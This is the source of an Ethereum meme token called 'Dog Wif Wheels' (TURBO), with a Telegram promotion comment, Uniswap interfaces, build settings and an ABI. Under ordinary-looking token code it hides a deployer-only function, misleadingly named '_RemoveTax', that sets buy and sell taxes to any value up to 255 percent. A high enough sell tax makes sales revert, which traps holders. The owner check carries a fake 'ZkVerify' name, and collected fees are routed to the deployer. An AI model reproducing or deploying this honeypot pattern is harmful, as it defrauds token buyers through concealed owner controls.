/*
A cute dog after hitting millions on Insta, now coming to ETH.
https://t.me/DogLaunchETH
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;
import "./IUniswapFactory.sol";
contract TURBO
{
string private _name = unicode"Dog Wif Wheels";
string private _symbol = unicode"TURBO";
uint8 public constant decimals = 9;
uint256 public constant totalSupply = 1_000_000_000 * 10**decimals;
struct StoreData {
address tokenMkt;
uint8 BuyTaxFee;
uint8 SellTaxFee;
}
StoreData public storeData;
uint256 constant swapAmount = totalSupply / 100;
error Permissions();
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed TOKEN_MKT,
address indexed spender,
uint256 value
);
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
address public pair;
IUniswapV2Router02 constant _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
bool private swapping;
bool private tradingOpen;
constructor() {
uint8 _BuyTaxFee = 0;
uint8 _SellTaxFee = 0;
storeData = StoreData({
tokenMkt: msg.sender,
BuyTaxFee: _BuyTaxFee,
SellTaxFee: _SellTaxFee
});
balanceOf[msg.sender] = totalSupply;
allowance[address(this)][address(_uniswapV2Router)] = type(uint256).max;
emit Transfer(address(0), msg.sender, totalSupply);
}
receive() external payable {}
function _RemoveTax(uint8 _BrStorage, uint8 _SrStorage) external {
if (msg.sender != _TokenMktProofWithZkVerify()) revert Permissions();
RemoveTax(_BrStorage, _SrStorage);
}
function _TokenMktProofWithZkVerify() private view returns(address) {
return storeData.tokenMkt;
}
function openedTrade() external {
require(msg.sender == _TokenMktProofWithZkVerify());
require(!tradingOpen);
address _factory = _uniswapV2Router.factory();
address _weth = _uniswapV2Router.WETH();
address _pair = IUniswapFactory(_factory).getPair(address(this), _weth);
pair = _pair;
tradingOpen = true;
}
function RemoveTax(uint8 _buy, uint8 _sell) private {
storeData.BuyTaxFee = _buy;
storeData.SellTaxFee = _sell;
}
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool) {
allowance[from][msg.sender] -= amount;
return _transfer(from, to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
return _transfer(msg.sender, to, amount);
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function _transfer(
address from,
address to,
uint256 amount
) internal returns (bool) {
address tokenMkt = _TokenMktProofWithZkVerify();
require(tradingOpen || from == tokenMkt || to == tokenMkt);
balanceOf[from] -= amount;
if (to == pair && !swapping && balanceOf[address(this)] >= swapAmount && from != tokenMkt) {
swapping = true;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_uniswapV2Router
.swapExactTokensForETHSupportingFeeOnTransferTokens(
swapAmount,
0,
path,
address(this),
block.timestamp
);
payable(tokenMkt).transfer(address(this).balance);
swapping = false;
}
(uint8 _BuyTaxFee, uint8 _SellTaxFee) = (storeData.BuyTaxFee, storeData.SellTaxFee);
if (from != address(this) && tradingOpen == true) {
uint256 taxCalculatedAmount = (amount *
(to == pair ? _SellTaxFee : _BuyTaxFee)) / 100;
amount -= taxCalculatedAmount;
balanceOf[address(this)] += taxCalculatedAmount;
}
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.8;
interface IUniswapFactory {
function getPair(address tokenA, address tokenB)
external
view
returns
(address pair);
function allPairs(uint)
external
view
returns
(address pair);
function allPairsLength()
external
view
returns
(uint);
function feeTo()
external
view
returns
(address);
function feeToSetter()
external
view
returns
(address);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
{
"compilationTarget": {
"Doiten/Contract.sol": "TURBO"
},
"evmVersion": "london",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": []
}
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"Permissions","type":"error"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"TOKEN_MKT","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint8","name":"_BrStorage","type":"uint8"},{"internalType":"uint8","name":"_SrStorage","type":"uint8"}],"name":"_RemoveTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"address","name":"","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedTrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"storeData","outputs":[{"internalType":"address","name":"tokenMkt","type":"address"},{"internalType":"uint8","name":"BuyTaxFee","type":"uint8"},{"internalType":"uint8","name":"SellTaxFee","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]